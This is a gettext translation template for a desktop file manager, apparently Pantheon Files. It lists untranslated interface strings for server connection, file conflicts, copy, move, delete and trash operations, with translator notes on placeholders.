#: libcore/ConnectServerDialog.vala:59
msgid "SSH"
msgstr ""
#: libcore/ConnectServerDialog.vala:65
msgid "AFP (Apple Filing Protocol)"
msgstr ""
#: libcore/ConnectServerDialog.vala:71
msgid "Windows share"
msgstr ""
#: libcore/ConnectServerDialog.vala:77
msgid "WebDAV (HTTP)"
msgstr ""
#: libcore/ConnectServerDialog.vala:84
msgid "Secure WebDAV (HTTPS)"
msgstr ""
#: libcore/ConnectServerDialog.vala:132
msgid "Server Details"
msgstr ""
#: libcore/ConnectServerDialog.vala:134
msgid "Server name or IP address"
msgstr ""
#: libcore/ConnectServerDialog.vala:138
msgid "Server:"
msgstr ""
#: libcore/ConnectServerDialog.vala:146
msgid "Port:"
msgstr ""
#: libcore/ConnectServerDialog.vala:177
msgid "Name of share on server"
msgstr ""
#: libcore/ConnectServerDialog.vala:178
msgid "Share:"
msgstr ""
#: libcore/ConnectServerDialog.vala:180
msgid "Path of shared folder on server"
msgstr ""
#: libcore/ConnectServerDialog.vala:181
msgid "Folder:"
msgstr ""
#: libcore/ConnectServerDialog.vala:183
msgid "User Details"
msgstr ""
#: libcore/ConnectServerDialog.vala:185
msgid "Name of Windows domain"
msgstr ""
#: libcore/ConnectServerDialog.vala:186
msgid "Domain name:"
msgstr ""
#: libcore/ConnectServerDialog.vala:188
msgid "Name of user on server"
msgstr ""
#: libcore/ConnectServerDialog.vala:189
msgid "User name:"
msgstr ""
#: libcore/ConnectServerDialog.vala:196
msgid "Password:"
msgstr ""
#: libcore/ConnectServerDialog.vala:198
msgid "Remember this password"
msgstr ""
#: libcore/ConnectServerDialog.vala:201 libcore/DndHandler.vala:102
#: libcore/FileConflictDialog.vala:219
msgid "Cancel"
msgstr ""
#: libcore/ConnectServerDialog.vala:205
msgid "Connect"
msgstr ""
#: libcore/ConnectServerDialog.vala:214
msgid "Continue"
msgstr ""
#: libcore/ConnectServerDialog.vala:265
msgid "Connecting…"
msgstr ""
#: libcore/ConnectServerDialog.vala:388
msgid "Please verify your user details."
msgstr ""
#: libcore/DndHandler.vala:48
#, c-format
msgid "Failed to execute \"%s\""
msgstr ""
#: libcore/DndHandler.vala:97
msgid "Move Here"
msgstr ""
#: libcore/DndHandler.vala:98
msgid "Copy Here"
msgstr ""
#: libcore/DndHandler.vala:99
msgid "Link Here"
msgstr ""
#: libcore/FileConflictDialog.vala:64
msgid "File conflict"
msgstr ""
#: libcore/FileConflictDialog.vala:122
msgid "Original file"
msgstr ""
#: libcore/FileConflictDialog.vala:147 libcore/FileConflictDialog.vala:185
msgid "Last modified:"
msgstr ""
#: libcore/FileConflictDialog.vala:161
msgid "Replace with"
msgstr ""
#: libcore/FileConflictDialog.vala:199
msgid "Reset"
msgstr ""
#: libcore/FileConflictDialog.vala:211
msgid "_Select a new name for the destination"
msgstr ""
#: libcore/FileConflictDialog.vala:214
msgid "Apply this action to all files"
msgstr ""
#: libcore/FileConflictDialog.vala:216 libcore/StockDialogs.vala:22
msgid "_Skip"
msgstr ""
#: libcore/FileConflictDialog.vala:217
msgid "Re_name"
msgstr ""
#: libcore/FileConflictDialog.vala:221
msgid "Keep Newest"
msgstr ""
#: libcore/FileConflictDialog.vala:222
msgid "Skip if original was modified more recently"
msgstr ""
#: libcore/FileConflictDialog.vala:224
msgid "Replace"
msgstr ""
#: libcore/FileConflictDialog.vala:340
#, c-format
msgid "Merge folder \"%s\"?"
msgstr ""
#: libcore/FileConflictDialog.vala:341
msgid ""
"Merging will ask for confirmation before replacing any files in the folder "
"that conflict with the files being copied."
msgstr ""
#: libcore/FileConflictDialog.vala:343
#, c-format
msgid "An older folder with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:345
#, c-format
msgid "A newer folder with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:347
#, c-format
msgid "Another folder with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:350
#, c-format
msgid "Replace folder \"%s\"?"
msgstr ""
#: libcore/FileConflictDialog.vala:351
msgid "Replacing it will remove all files in the folder."
msgstr ""
#: libcore/FileConflictDialog.vala:352
#, c-format
msgid "A folder with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:355
#, c-format
msgid "Replace file \"%s\"?"
msgstr ""
#: libcore/FileConflictDialog.vala:356
msgid "Replacing it will overwrite its content."
msgstr ""
#: libcore/FileConflictDialog.vala:359
#, c-format
msgid "An older file with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:361
#, c-format
msgid "A newer file with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:363
#, c-format
msgid "Another file with the same name already exists in \"%s\"."
msgstr ""
#: libcore/FileConflictDialog.vala:389
msgid "Merge"
msgstr ""
#: libcore/FileUtils.vala:89
#, c-format
msgid "Could not determine original location of \"%s\" "
msgstr ""
#: libcore/FileUtils.vala:90
msgid "The item cannot be restored from trash"
msgstr ""
#: libcore/FileUtils.vala:497
#, c-format
msgid "Could not rename to '%s'"
msgstr ""
#. TRANSLATORS '%s' is a placeholder for the time. It may be moved but not changed.
#: libcore/FileUtils.vala:586
#, c-format
msgid "Today at %s"
msgstr ""
#. TRANSLATORS '%s' is a placeholder for the time. It may be moved but not changed.
#: libcore/FileUtils.vala:594
#, c-format
msgid "Yesterday at %s"
msgstr ""
#. TRANSLATORS '%%A' is a placeholder for the day name, '%s' is a placeholder for the time. These may be moved and reordered but not changed.
#: libcore/FileUtils.vala:602
#, c-format
msgid "%%A at %s"
msgstr ""
#: libcore/FileUtils.vala:898
#, c-format
msgid "%'d second"
msgid_plural "%'d seconds"
msgstr[0] ""
msgstr[1] ""
#: libcore/FileUtils.vala:902 libcore/FileUtils.vala:910
#, c-format
msgid "%'d minute"
msgid_plural "%'d minutes"
msgstr[0] ""
msgstr[1] ""
#: libcore/FileUtils.vala:909
#, c-format
msgid "%'d hour"
msgid_plural "%'d hours"
msgstr[0] ""
msgstr[1] ""
#: libcore/FileUtils.vala:913
#, c-format
msgid "approximately %'d hour"
msgid_plural "approximately %'d hours"
msgstr[0] ""
msgstr[1] ""
#: libcore/gof-directory-async.vala:690
msgid "Server did not respond within time limit"
msgstr ""
#: libcore/ProgressInfo.vala:29 libcore/ProgressInfo.vala:30
#: libcore/ProgressInfo.vala:31
msgid "Preparing"
msgstr ""
#: libcore/StockDialogs.vala:20
msgid "_Cancel"
msgstr ""
#: libcore/StockDialogs.vala:21
msgid "Delete"
msgstr ""
#: libcore/StockDialogs.vala:23
msgid "S_kip All"
msgstr ""
#: libcore/StockDialogs.vala:24
msgid "_Retry"
msgstr ""
#: libcore/StockDialogs.vala:25
msgid "Delete _All"
msgstr ""
#: libcore/StockDialogs.vala:26
msgid "_Replace"
msgstr ""
#: libcore/StockDialogs.vala:27
msgid "Replace _All"
msgstr ""
#: libcore/StockDialogs.vala:28
msgid "_Merge"
msgstr ""
#: libcore/StockDialogs.vala:29
msgid "Merge _All"
msgstr ""
#: libcore/StockDialogs.vala:30
msgid "Copy _Anyway"
msgstr ""
#: libcore/UndoManager.vala:310
msgid "Original location could not be determined"
msgstr ""
#: libcore/UndoManager.vala:311
msgid "Open trash folder and restore manually"
msgstr ""
#: libcore/FileOperations/EmptyTrashJob.vala:40
msgid "Permanently delete all items from Trash?"
msgstr ""
#: libcore/FileOperations/EmptyTrashJob.vala:41
msgid ""
"All items in all trash directories, including those on any mounted external "
"drives, will be permanently deleted."
msgstr ""
#: libcore/FileOperations/EmptyTrashJob.vala:44
msgid "Permanently delete all items from Trash on this mount?"
msgstr ""
#: libcore/FileOperations/EmptyTrashJob.vala:45
msgid "All items in the trash on this mount, will be permanently deleted."
msgstr ""
#: libcore/FileOperations/EmptyTrashJob.vala:104
msgid "Emptying Trash"
msgstr ""
#: libcore/FileOperations/MountUtils.vala:26
#, c-format
msgid "Unable to mount '%s'"
msgstr ""
#: libcore/marlin-file-operations.c:204
#, c-format
msgid "Link to %s"
msgstr ""
#: libcore/marlin-file-operations.c:208
#, c-format
msgid "Another link to %s"
msgstr ""
#: libcore/marlin-file-operations.c:224
#, c-format
msgid "%'dst link to %s"
msgstr ""
#: libcore/marlin-file-operations.c:228
#, c-format
msgid "%'dnd link to %s"
msgstr ""
#: libcore/marlin-file-operations.c:232
#, c-format
msgid "%'drd link to %s"
msgstr ""
#: libcore/marlin-file-operations.c:236
#, c-format
msgid "%'dth link to %s"
msgstr ""
#: libcore/marlin-file-operations.c:428
msgid " ("
msgstr ""
#: libcore/marlin-file-operations.c:436
#, c-format
msgid " (%'d"
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:875
#, c-format
msgid "Are you sure you want to permanently delete \"%s\" from the trash?"
msgstr ""
#: libcore/marlin-file-operations.c:879
#, c-format
msgid ""
"Are you sure you want to permanently delete the %'d selected item from the "
"trash?"
msgid_plural ""
"Are you sure you want to permanently delete the %'d selected items from the "
"trash?"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:889
msgid "If you delete an item, it will be permanently lost."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:915
#, c-format
msgid "Permanently delete “%s”?"
msgstr ""
#: libcore/marlin-file-operations.c:918
#, c-format
msgid "Are you sure you want to permanently delete the %'d selected item?"
msgid_plural ""
"Are you sure you want to permanently delete the %'d selected items?"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:927
msgid "Deleted items are not sent to Trash and are not recoverable."
msgstr ""
#: libcore/marlin-file-operations.c:961
#, c-format
msgid "%'d file left to delete"
msgid_plural "%'d files left to delete"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:966
msgid "Deleting files"
msgstr ""
#. TRANSLATORS: %s will expand to a time like "2 minutes". It must not be translated or removed.
#. The singular/plural form will be used depending on the remaining time (i.e. the %s argument).
#: libcore/marlin-file-operations.c:981
#, c-format
msgid "%s left"
msgid_plural "%s left"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:1050 libcore/marlin-file-operations.c:1090
#: libcore/marlin-file-operations.c:1136 libcore/marlin-file-operations.c:1218
#: libcore/marlin-file-operations.c:1725
msgid "Error while deleting."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1056
#, c-format
msgid ""
"Files in the folder \"%s\" cannot be deleted because you do not have "
"permissions to see them."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1061 libcore/marlin-file-operations.c:1789
#: libcore/marlin-file-operations.c:2776
#, c-format
msgid ""
"There was an error getting information about the files in the folder \"%s\"."
msgstr ""
#: libcore/marlin-file-operations.c:1071 libcore/marlin-file-operations.c:2786
msgid "_Skip files"
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1095
#, c-format
msgid ""
"The folder \"%s\" cannot be deleted because you do not have permissions to "
"read it."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1100 libcore/marlin-file-operations.c:1834
#: libcore/marlin-file-operations.c:2828
#, c-format
msgid "There was an error reading the folder \"%s\"."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the basename of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:1139
#, c-format
msgid "Could not remove the folder %s."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the basename of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:1221
#, c-format
msgid "There was an error deleting %s."
msgstr ""
#: libcore/marlin-file-operations.c:1306
msgid "Moving files to trash"
msgstr ""
#: libcore/marlin-file-operations.c:1308
#, c-format
msgid "%'d file left to trash"
msgid_plural "%'d files left to trash"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:1406 libcore/marlin-file-operations.c:1409
#: libcore/marlin-file-operations.c:1412
msgid "Cannot move file to trash or delete it"
msgstr ""
#: libcore/marlin-file-operations.c:1407
msgid "It is not permitted to trash or delete files on a read only filesystem."
msgstr ""
#: libcore/marlin-file-operations.c:1410
msgid ""
"It is not permitted to trash or delete files inside folders for which you do "
"not have write privileges."
msgstr ""
#: libcore/marlin-file-operations.c:1413
msgid ""
"It is not permitted to trash or delete folders for which you do not have "
"write privileges."
msgstr ""
#: libcore/marlin-file-operations.c:1415
msgid "Cannot move file to trash. Try to delete it immediately?"
msgstr ""
#: libcore/marlin-file-operations.c:1416
msgid ""
"This file could not be moved to trash. See details below for further "
"information."
msgstr ""
#: libcore/marlin-file-operations.c:1420
msgid "Cannot move file to trash. Try to delete it?"
msgstr ""
#: libcore/marlin-file-operations.c:1421
msgid ""
"This file could not be moved to trash. You may not be able to delete it "
"either."
msgstr ""
#: libcore/marlin-file-operations.c:1427
msgid ""
"\n"
" Deleting a file removes it permanently"
msgstr ""
#: libcore/marlin-file-operations.c:1617
msgid "Trashing Files"
msgstr ""
#: libcore/marlin-file-operations.c:1619
msgid "Deleting Files"
msgstr ""
#. TRANSLATORS: %'d is a placeholder for a number. It must be translated or removed.
#. %s is a placeholder for a size like "2 bytes" or "3 MB". It must not be translated or removed.
#. So this represents something like "Preparing to copy 100 files (200 MB)"
#. The order in which %'d and %s appear can be changed by using the right positional specifier.
#: libcore/marlin-file-operations.c:1659
#, c-format
msgid "Preparing to copy %'d file (%s)"
msgid_plural "Preparing to copy %'d files (%s)"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: %'d is a placeholder for a number. It must be translated or removed.
#. %s is a placeholder for a size like "2 bytes" or "3 MB". It must not be translated or removed.
#. So this represents something like "Preparing to move 100 files (200 MB)"
#. The order in which %'d and %s appear can be changed by using the right positional specifier.
#: libcore/marlin-file-operations.c:1671
#, c-format
msgid "Preparing to move %'d file (%s)"
msgid_plural "Preparing to move %'d files (%s)"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: %'d is a placeholder for a number. It must be translated or removed.
#. %s is a placeholder for a size like "2 bytes" or "3 MB". It must not be translated or removed.
#. So this represents something like "Preparing to delete 100 files (200 MB)"
#. The order in which %'d and %s appear can be changed by using the right positional specifier.
#: libcore/marlin-file-operations.c:1683
#, c-format
msgid "Preparing to delete %'d file (%s)"
msgid_plural "Preparing to delete %'d files (%s)"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:1690
#, c-format
msgid "Preparing to trash %'d file"
msgid_plural "Preparing to trash %'d files"
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:1721 libcore/marlin-file-operations.c:2623
#: libcore/marlin-file-operations.c:2763 libcore/marlin-file-operations.c:2815
msgid "Error while copying."
msgstr ""
#: libcore/marlin-file-operations.c:1723 libcore/marlin-file-operations.c:2761
#: libcore/marlin-file-operations.c:2813
msgid "Error while moving."
msgstr ""
#: libcore/marlin-file-operations.c:1727
msgid "Error while moving files to trash."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1784
#, c-format
msgid ""
"Files in the folder \"%s\" cannot be handled because you do not have "
"permissions to see them."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1829
#, c-format
msgid ""
"The folder \"%s\" cannot be handled because you do not have permissions to "
"read it."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1916
#, c-format
msgid ""
"The file \"%s\" cannot be handled because you do not have permissions to "
"read it."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:1921
#, c-format
msgid "There was an error getting information about \"%s\"."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2027 libcore/marlin-file-operations.c:2073
#: libcore/marlin-file-operations.c:2111 libcore/marlin-file-operations.c:2151
#, c-format
msgid "Error while copying to \"%s\"."
msgstr ""
#: libcore/marlin-file-operations.c:2032
msgid "You do not have permissions to access the destination folder."
msgstr ""
#: libcore/marlin-file-operations.c:2034
msgid "There was an error getting information about the destination."
msgstr ""
#: libcore/marlin-file-operations.c:2074
msgid "The destination is not a folder."
msgstr ""
#: libcore/marlin-file-operations.c:2113
msgid ""
"There is not enough space on the destination. Try to remove files to make "
"space."
msgstr ""
#. TRANSLATORS: %s is a placeholder for a size like "2 bytes" or "3 MB". It must not be translated or removed.
#. So this represents something like "There is 100 MB available, but 150 MB is required".
#: libcore/marlin-file-operations.c:2119
#, c-format
msgid "There is %s available, but %s is required."
msgstr ""
#: libcore/marlin-file-operations.c:2153
msgid "The destination is read-only."
msgstr ""
#. TRANSLATORS: \"%s\" is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed.
#. \" is an escaped quotation mark. This may be replaced with another suitable character (escaped if necessary).
#: libcore/marlin-file-operations.c:2225
#, c-format
msgid "Moving \"%s\" to \"%s\""
msgstr ""
#: libcore/marlin-file-operations.c:2226
#, c-format
msgid "Copying \"%s\" to \"%s\""
msgstr ""
#. TRANSLATORS: \"%s\" is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed.
#. \" is an escaped quotation mark. This may be replaced with another suitable character (escaped if necessary).
#: libcore/marlin-file-operations.c:2230
#, c-format
msgid "Duplicating \"%s\""
msgstr ""
#. TRANSLATORS: \"%s\" is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed.
#. \" is an escaped quotation mark. This may be replaced with another suitable character (escaped if necessary).
#. %'d is a placeholder for a number. It must not be translated or removed.
#. Placeholders must appear in the same order but otherwise may change position.
#: libcore/marlin-file-operations.c:2238
#, c-format
msgid "Moving %'d file (in \"%s\") to \"%s\""
msgid_plural "Moving %'d files (in \"%s\") to \"%s\""
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:2241
#, c-format
msgid "Copying %'d file (in \"%s\") to \"%s\""
msgid_plural "Copying %'d files (in \"%s\") to \"%s\""
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: \"%s\" is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed.
#. \" is an escaped quotation mark. This may be replaced with another suitable character (escaped if necessary).
#: libcore/marlin-file-operations.c:2250
#, c-format
msgid "Duplicating %'d file (in \"%s\")"
msgid_plural "Duplicating %'d files (in \"%s\")"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: \"%s\" is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed.
#. \" is an escaped quotation mark. This may be replaced with another suitable character (escaped if necessary).
#. %'d is a placeholder for a number. It must not be translated or removed.
#. Placeholders must appear in the same order but otherwise may change position.
#: libcore/marlin-file-operations.c:2262
#, c-format
msgid "Moving %'d file to \"%s\""
msgid_plural "Moving %'d files to \"%s\""
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:2265
#, c-format
msgid "Copying %'d file to \"%s\""
msgid_plural "Copying %'d files to \"%s\""
msgstr[0] ""
msgstr[1] ""
#: libcore/marlin-file-operations.c:2271
#, c-format
msgid "Duplicating %'d file"
msgid_plural "Duplicating %'d files"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: %s is a placeholder for a size like "2 bytes" or "3 MB". It must not be translated or removed. So this represents something like "4 kb of 4 MB".
#: libcore/marlin-file-operations.c:2301
#, c-format
msgid "%s of %s"
msgstr ""
#. TRANSLATORS: The two first %s and the last %s will expand to a size
#. like "2 bytes" or "3 MB", the third %s to a time duration like
#. "2 minutes". It must not be translated or removed.
#. So the whole thing will be something like "2 kb of 4 MB -- 2 hours left (4kb/sec)"
#. The singular/plural form will be used depending on the remaining time (i.e. the "%s left" part).
#. The order in which %s appear can be changed by using the right positional specifier.
#: libcore/marlin-file-operations.c:2321
#, c-format
msgid "%s of %s — %s left (%s/sec)"
msgid_plural "%s of %s — %s left (%s/sec)"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2630
#, c-format
msgid ""
"The folder \"%s\" cannot be copied because you do not have permissions to "
"create it in the destination."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2635
#, c-format
msgid "There was an error creating the folder \"%s\"."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2771
#, c-format
msgid ""
"Files in the folder \"%s\" cannot be copied because you do not have "
"permissions to see them."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2823
#, c-format
msgid ""
"The folder \"%s\" cannot be copied because you do not have permissions to "
"read it."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#. TRANSLATORS: \"%s\" is a placeholder for the quoted full path of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2876 libcore/marlin-file-operations.c:3608
#: libcore/marlin-file-operations.c:4175
#, c-format
msgid "Error while moving \"%s\"."
msgstr ""
#: libcore/marlin-file-operations.c:2878
msgid "Could not remove the source folder."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:2967 libcore/marlin-file-operations.c:3018
#: libcore/marlin-file-operations.c:3612
#, c-format
msgid "Error while copying \"%s\"."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the full path of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:2972
#, c-format
msgid "Could not remove files from the already existing folder %s."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the full path of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:3023
#, c-format
msgid "Could not remove the already existing file %s."
msgstr ""
#: libcore/marlin-file-operations.c:3341 libcore/marlin-file-operations.c:4014
msgid "You cannot move a folder into itself."
msgstr ""
#: libcore/marlin-file-operations.c:3342 libcore/marlin-file-operations.c:4015
msgid "You cannot copy a folder into itself."
msgstr ""
#: libcore/marlin-file-operations.c:3343 libcore/marlin-file-operations.c:4016
msgid "The destination folder is inside the source folder."
msgstr ""
#: libcore/marlin-file-operations.c:3374
msgid "You cannot move a file over itself."
msgstr ""
#: libcore/marlin-file-operations.c:3375
msgid "You cannot copy a file over itself."
msgstr ""
#: libcore/marlin-file-operations.c:3376
msgid "The source file would be overwritten by the destination."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the full path of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:3618
#, c-format
msgid "Could not remove the already existing file with the same name in %s."
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:3688
#, c-format
msgid "Cannot copy \"%s\" here."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the basename of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:3693
#, c-format
msgid "There was an error copying the file into %s."
msgstr ""
#: libcore/marlin-file-operations.c:3894
msgid "Copying Files"
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:3930
#, c-format
msgid "Preparing to move to \"%s\""
msgstr ""
#: libcore/marlin-file-operations.c:3935
#, c-format
msgid "Preparing to move %'d file"
msgid_plural "Preparing to move %'d files"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: %s is a placeholder for the full path of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:4179
#, c-format
msgid "There was an error moving the file into %s."
msgstr ""
#: libcore/marlin-file-operations.c:4413
msgid "Moving Files"
msgstr ""
#. TRANSLATORS: '\"%s\"' is a placeholder for the quoted basename of a file. It may change position but must not be translated or removed
#. '\"' is an escaped quoted mark. This may be replaced with another suitable character (escaped if necessary)
#: libcore/marlin-file-operations.c:4452
#, c-format
msgid "Creating links in \"%s\""
msgstr ""
#: libcore/marlin-file-operations.c:4457
#, c-format
msgid "Making link to %'d file"
msgid_plural "Making links to %'d files"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: %s is a placeholder for the basename of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:4567
#, c-format
msgid "Error while creating link to %s."
msgstr ""
#: libcore/marlin-file-operations.c:4570
msgid "Symbolic links only supported for local files"
msgstr ""
#: libcore/marlin-file-operations.c:4573
msgid "The target doesn't support symbolic links."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the full path of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:4578
#, c-format
msgid "There was an error creating the symlink in %s."
msgstr ""
#: libcore/marlin-file-operations.c:4881
msgid "Setting permissions"
msgstr ""
#: libcore/marlin-file-operations.c:5070
msgid "Cannot copy into trash."
msgstr ""
#: libcore/marlin-file-operations.c:5071 libcore/marlin-file-operations.c:5079
msgid "It is not permitted to copy files into the trash"
msgstr ""
#: libcore/marlin-file-operations.c:5215
msgid "untitled folder"
msgstr ""
#: libcore/marlin-file-operations.c:5223
msgid "new file"
msgstr ""
#. TRANSLATORS: %s is a placeholder for the basename of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:5390
#, c-format
msgid "Error while creating directory %s."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the basename of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:5393
#, c-format
msgid "Error while creating file %s."
msgstr ""
#. TRANSLATORS: %s is a placeholder for the full path of a file. It may change position but must not be translated or removed
#: libcore/marlin-file-operations.c:5399
#, c-format
msgid "There was an error creating the directory in %s."
msgstr ""
#: libwidgets/Chrome/BasicLocationBar.vala:88
msgid "Type a path"
msgstr ""
#: libwidgets/Chrome/BasicBreadcrumbsEntry.vala:178
#, c-format
msgid "Navigate to %s"
msgstr ""
#: libwidgets/Chrome/BasicBreadcrumbsEntry.vala:297
#, c-format
msgid "Go to %s"
msgstr ""
#: libwidgets/Chrome/BasicBreadcrumbsEntry.vala:375
msgid "Type Path"
msgstr ""
#: libwidgets/View/SearchResults.vala:82
msgid "More Results …"
msgstr ""
#: libwidgets/View/SearchResults.vala:238
msgid "In This Folder"
msgstr ""
#: libwidgets/View/SearchResults.vala:243
msgid "Below This Folder"
msgstr ""
#: libwidgets/View/SearchResults.vala:254
msgid "Recently used"
msgstr ""
#: libwidgets/Chrome/ViewSwitcher.vala:34
msgid "View as Grid"
msgstr ""
#: libwidgets/Chrome/ViewSwitcher.vala:41
msgid "View as List"
msgstr ""
#: libwidgets/Chrome/ViewSwitcher.vala:48
msgid "View in Columns"
msgstr ""
#: libwidgets/Resources.vala:22
msgid "Files"
msgstr ""
#: libwidgets/Resources.vala:58
msgid "AFP"
msgstr ""
#: libwidgets/Resources.vala:59
msgid "DAV"
msgstr ""
#: libwidgets/Resources.vala:60
msgid "DAVS"
msgstr ""
#: libwidgets/Resources.vala:61
msgid "FTP"
msgstr ""
#: libwidgets/Resources.vala:63
msgid "SFTP"
msgstr ""
#: libwidgets/Resources.vala:64
msgid "SMB"
msgstr ""
#: libwidgets/Resources.vala:66
msgid "Recent"
msgstr ""
#: libwidgets/Resources.vala:67
msgid "MTP"
msgstr ""
#: plugins/pantheon-files-trash/plugin.vala:19
msgid "Restore All"
msgstr ""
#: plugins/pantheon-files-trash/plugin.vala:20
msgid "Empty the Trash"
msgstr ""
#: plugins/pantheon-files-trash/plugin.vala:21
msgid "Restore Selected"
msgstr ""
